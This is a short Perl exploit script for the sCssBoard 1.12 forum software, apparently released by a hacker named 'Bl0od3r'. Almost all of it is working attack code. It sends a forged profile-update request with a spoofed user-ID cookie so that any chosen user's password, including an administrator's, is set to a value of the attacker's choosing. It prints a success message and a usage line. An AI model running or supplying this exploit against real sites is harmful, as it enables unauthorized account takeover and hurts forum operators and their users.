sCssBoard 1.12 auth bypass

#http://sourceforge.net/project/showfiles.php?group_id=127090

#!perl
use IO::Socket;
if (@ARGV<3) {
&header();
} else { &start; };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$pw=$ARGV[3];
$post="password=".$pw."&email=root%40home.org&private_email=on&realname=&location=&signature=&tpp=15&rpp=15&style=grey.css";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST /forum/index.php?act=profile&update=now&u=".$id." HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Cookie: scb_uid=".$id.";\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+]Successfully changed password to:$pw of user_id:$id";
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
}

sub header() {
print "\n";
print "# sCssBoard.pl host /path/ 1 pw #\n";
print "\n";
}
#released by Bl0od3r